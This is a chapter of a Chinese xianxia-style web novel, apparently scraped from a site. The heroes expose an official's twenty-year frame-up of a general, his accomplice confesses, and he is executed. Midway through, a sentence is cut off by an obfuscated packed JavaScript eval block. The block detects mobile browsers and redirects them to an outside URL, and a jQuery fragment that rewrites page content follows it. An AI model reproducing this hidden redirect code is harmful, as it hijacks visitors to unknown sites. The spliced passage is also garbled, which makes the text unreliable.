51. 沉冤昭雪

作品:《春与千树长

    解开心结,气氛融洽了起来,花染也托着腮开始说起来,“若能真相大白,再多种些胡杨阻挡风沙,她的一缕魂魄便会去转世了吗?”


    应若垂眸思索片刻,“能的。待她最后一缕魂归,便能去转世了。”她想,归往之术应当可以聚齐她的魂魄,送她往生。送她一程,也不枉相识一场。


    “但愿她转世能过上安乐的生活。”墨悦也是衷心祈祷,但他话音一转,“别再执念于幻境,考验我们脆弱的心灵了。”


    花染闻言,斜睨了他一眼,墨悦见到这熟悉的眼神,终于松了口气,恢复了往日的活力与朝气。


    应时忽的记起,曾经看过的官员名册,“花子安的妾室中有一名姚氏,是姚堇吧?”


    花染倒是一笑置之,“离京时,便已是平妻了。我父亲所为,我也不想多说什么了。若这一切因他而起,我便与他恩断义绝!”


    她忽然想起什么,跑回房间,拿出了一直带着的包袱,翻找起来,“我母亲一直身体不好,她曾交给我一封信,要我保管好。我从前看过,只以为是一封普通的信。现在想来,我母亲也是逼不得已,写下的尽是她的悔恨。”


    打开尘封的匣子,那又是一段有意为之的英雄救美,女子为报恩以身相许。那男子是花染的父亲花子安,女子是花染的母亲玉瑶。


    一伙匪徒绑了玉瑶,正巧花子安策马而来,长枪横扫,匪徒不敌退走。玉瑶便为报恩,跟着花子安来到了京城。


    而这一切的原因,是花子安想要杀了姚堇,毁掉所有证据和知情的人。然而怎料,姚堇早已看透他的为人,早有防备,她已经给花子安下了毒。两个互相防备和算计的人,不得不走到了一起。花子安为了不被毒所控,便设计娶了灵草之妖,她本相的叶片,可助他延年益寿。


    “看来得回京城一趟了。”墨悦感叹着,离开是是春日尚早,再回去之时,已是深秋时节。


    “楼国公主的一缕魂魄无法控制风沙,回去之前,我们首先要做的,还是要减小风沙对中州城的影响。”杜嘉恒望着窗外的黄沙,因沙尘而身体不适的人越来越多了,药方是有效的,只是沙尘太大了。


    “怎么办?树木长成还需要时间。”枫崖挠头。


    “齐心协力。”应若和应时对视一眼。


    再次来到中州城外,落日尚有余温,已经种下的种子都在缓慢但坚定地生长。


    六人默念生机的相生之术,“五行之属,形形相生,脉脉与共,流转相承。”


    五色的灵力覆盖了这一片土地,被砍伐的树木和新种下的种子快速地生长,直到长成一片林,可以守一方的土。


    这对她们都是不小的消耗,六人手牵着手,一同坐在了地上,笑看着这一片金黄的树林。


    回京都的路上,花染又和墨悦翻起了旧帐。


    “幻境里,你救我的时候,是不是也是早就算计好的!快从实招来!”花染紧盯住墨悦的眼睛。


    “不是,绝对不是。即便是幻境里,我对你也是情真意切,所作所为皆是出于真心。”墨悦见她仍然微微地撅着嘴,便连忙补充道,“我在见到你的那一瞬间,心跳感觉突然间就变快了,那是从未有过的感觉。那一瞬间,我都开始怀疑自己,之前是为何会喜欢……旁的人。”


    花染抿了抿唇,算是接受了他的这一套说辞。


    “那你为什么不肯放弃,一定要攻打楼国?”


    “这你可就冤枉我了,幻境里,国之兴亡,自有定数,我已经拖延了些时间了。”


    “那我走了,你都不管我?”花染侧身对着马车的角落,垂头低声问。


    应若见墨悦那苦恼的样子,替墨悦解释了句,“你不知道,我在边界看见了他了,他应该是跟了你一路,护送你回楼国的。”


    “啊?真的?”花染转回头,墨悦眼神无辜,频频点头。“我是看你因为战争的事情不开心,便想着放你离开,起码你能开怀。不然,你离开,怎么可能没人发现?”


    “好吧。”花染又握住了墨悦的手,开怀地笑了。杜嘉恒和枫崖坐在一起,看着他们的打闹,也不自觉地放松了下来。


    “魔族现下,在长安了。”应时微微蹙眉,之前在长安那么久,竟丝毫没有发觉,魔族的巢穴就藏在这座城中。


    此时,杜嘉毅、连心和杜风来到了魔尊召见之地。


    陡峭的山崖之下,是纵横交错的峡谷,水流冲刷而成的沟壑便是通往深处的门。


    入得结界,魔尊转过身面对他们,第一次在三人面前露出了真容。


    “魔尊恕罪。”三人跪地。


    杜嘉毅控制着自己的表情,没有露出异样。心里的震惊盖过了所有,再无暇思考其他。


    竟然是孟仁,他没死,那么在西原城,死去的只是个傀儡了。看来一切都是他的主导,是他贪婪,同沐云学了苗疆秘术,以傀儡之术散布魔气,不被任何人察觉。


    孟仁一掀衣袖,坐在高椅之上,嘲讽地笑了,“我魔族三员大将,还有百余魔众,最后就剩下这么几个灰溜溜地逃回来了?”


    三人皆是低着头,不敢言语。


    孟仁接着说道:“听说,是被一网打尽了。我很好奇,这其中,是不是有叛徒?”


    连心半抬起头,声音坚定有力地说:“启禀魔尊,依属下之见,定是杜嘉恒走漏了消息。他的那位好弟弟,可是在那六人之中。”说着,她还暗暗斜了杜嘉毅一眼。


    “呵,女流之辈就是爱挑拨是非。”杜嘉毅慢条斯理地半抬起身来,“启禀魔尊,属下倒是觉得连心很是可疑,那几人中,可是有枫崖!她的老相识了吧!”


    “你!血口喷人!”连心抬手之间,魔气就要朝杜嘉毅袭过去。


    “恼羞成怒。”杜嘉毅也反手回敬,转瞬间,二人已过了好几招,魔气四溢。


    杜风一掌挥开二人,“住手!成何体统!魔尊大人自有定夺。”


    二人虽没在动手了,却还是互相怀疑挑衅地看了一眼,又各自移开了视线。


    孟仁视线自他们三个身上扫过,“我是相信你们的,叫你们过来,是有其他任务交待。魔族中是否出了叛徒,我另有安排。”


    京都长安。


    百姓们安居乐业,许多新设立的学堂不收取费用,让更多人在书中看到了广阔的天地,懂得了更多的道理。其他城也纷纷效仿,教化育人。


    “便说这龙神大人所传的清静心经……”一男子拱手,侃侃而谈。


    “刘兄所言甚妙!”


    纸张翻动的沙沙声响,研磨提笔的灵光乍现,讲解声、辩驳声,字字句句皆是义理。


    “不是,我们就不能多走走正门吗?每回都像做贼一样!”枫崖踟蹰地站着,见其余几人已经全部或坐或趴在了花府后院的墙上,显然已经驾轻就熟,他却还是不太习惯。


    杜嘉恒显然适应良好,这会儿已经找了个舒服的角度和姿势,观察起来了。他回头朝枫崖招手,示意他快些跟上节奏。


    “都是当过魔的妖了,这么刻板做什么?向我这个当过魔的人学学!”


    “哼!”枫崖竟无法反驳,再看着那边两处成双成对的,只好一跃而上,趴在了杜嘉恒身边。


    待枫崖也找好位置,六人合五行之力施以窥探之术,不破坏结界,便可看到院中人的动作。


    花染指着一名雍容华贵的中年女子,“就是她!向她这样精于算计的人,怎么可能不给自己留后路。”


    “我们多观察几天,定能找到她将证据藏在哪!”墨悦也是信心十足。


    “真稀奇,她竟然也有敬拜之人。”枫崖看着姚堇神色虔诚地上香,口中还念念有词。


    “她说的是,蚩尤先祖在上,苗疆后人敬拜。”应若看出来了,无论做过何事,在她心中,先祖是她最为敬仰之人。


    “只有蚩尤的神像,却并无姚家的牌位。”应时与应若并肩靠坐着,思量道,“或许她是偷学的,不是正统传人。”


    在南郡时,黎颂带他们去过姚家的祠堂,看过族谱,那里有一个被抹去的名字,想来应当是姚堇了。


    几天观察下来,姚堇的衣衫上大多都绣着蝴蝶,每日早晚都会敬拜蚩尤,其余时间便是在府中自己刺绣、读书、看信。这段时日,一直都没见着花子安。


    “这姚堇擅毒,她若真有证据,为何不直接告上朝堂?”枫崖看她又开始翻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878388|165498||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看书信了,泛黄的纸张,字里行间流露真情。姚堇时而默念,时而微笑,时而掩面垂泪。


    “大概,她也是一位受害者。”应若摇头,这为情所困的样子,真真是看不下去。


    “也或许,是为了她儿子的前途。”应时想起了那位明明年岁不大,却一脸沉郁的小将军。


    “他的眼里心里就只有权势,连一丝情义也无吗?”花染没想到,府中的女子,都不过是他花子安的棋子而已,儿女也不过是他巩固权力的工具,从无真心。


    这一日,花子安来到了姚堇的院中。二人相处之间,却不见一丝温情。


    姚堇为他端来一碗药,花子安接过后看都不看,仰头几口喝下,便起身欲走。


    “花子安!”姚堇放下药碗,喊住他。


    “除了每五日的药,你便不再踏入我院中一步了。”


    “毒妇!”花子安头也不回地走了。


    直到再也望不见他的背影,院门合拢的声音也静了许久。姚堇跌坐回椅子上,呆呆地望着那空了的药碗,心也空了。这么多年来,一直瞒着的秘密,她就这样自语着说了出来。


    “你的毒,我早就解了。我只是气不过,怕你从此不再看我一眼,才骗了你。我握着的是证据,不是毒,但致命。可是二十年过去,你又何曾真正看过我?


    二十年,我再也没能回过家。我的家,不要我了,也不在了。


    我们的儿子,你也不肯让他认我。不过好在,我儿在军中也成了个小将军,我无须再为他担心了。”


    姚堇回到神像前,再次上香跪拜。


    “我是苗疆的罪人。偷学秘术,私自离家,将秘术用在害人之处。今特来赎罪,还望先祖宽宥我儿。”


    她平静地说着自己的罪责,从香台后拿出了一柄匕首,那是沈榆枋的匕首,刻着他的名字,后来被她趁乱找到了。


    眼看她就要刎颈自尽,六人同时出手,破开结界。


    “悬止。”应时念着诀,匕首自姚堇手中脱开,花染冲上前,一把夺下匕首。


    姚堇一时怔忡,“阿染。你们……”


    “姚堇,你若真心悔过,便随我们去皇帝面前说清楚吧。你当花小将军全然不知吗?你当你院外的结界是谁设来保护你的?”


    “你只有好好的赎完你的罪,才能重新开始。”


    朝堂之上,花小将军已经等在那里了。紧接着,是花子安被绑着压了进来。


    姚堇呈上匕首和书信,言明花子安构陷沈榆枋将军,通敌卖国致使沈将军含冤而亡。叛乱之人,也并非沈榆枋,而是一名军中将士。沈将军骁勇不屈,忠君爱民,从未愧对南华一分。


    楼国灭亡,是花子安言语哄骗姚堇,她一时鬼迷心窍,便用了苗疆的毒,使得楼国王族伤病,内乱不断。


    而这一切皆是花子安与已故太上皇的谋划。


    “臣妇恳请陛下,为沈将军昭雪,为楼国立碑。”


    人证物证俱全,花子安也只能认了罪。


    “我要让我的军无往不利,我的权可动京城。我没有家族可以依靠,只有自己往上爬,都是我的罪。太上皇不过是没有阻拦,放任了我。”花子安被拖走了,押入牢狱,日后再定罪。


    “天下熙熙,皆为利来;天下攘攘,皆为利往。”他高声喊着,不肯认错。


    “臣自请驻守边关,即刻启程,永不回京。”花小将军决然地走了,走之前,叫了姚堇一声母亲。


    花子安被判处午门行刑,姚堇流放西北。行刑那日,游行示众,百姓围观,烂菜叶子、鸡蛋,砸了他满头满身,还有声声的咒骂。


    “呸!阴险小人!”


    “千刀万剐!”


    行刑的时辰到了,手起刀落,不知花小将军有没有看,只见他策马自城门离去的背影。


    冬日降临,姚堇在流放的途中,见得一匹快马绝尘而去,她释然地笑了,那是她的儿子啊。


    皇帝决意为父赎罪,永守青灯,为国祈福,不再踏入皇城一步。太子即位,百姓们纷纷缅怀沈将军,也为楼国祈福。


    终于,沉冤昭雪。大漠,下雪了。


    沉冤得偿,雪落无声。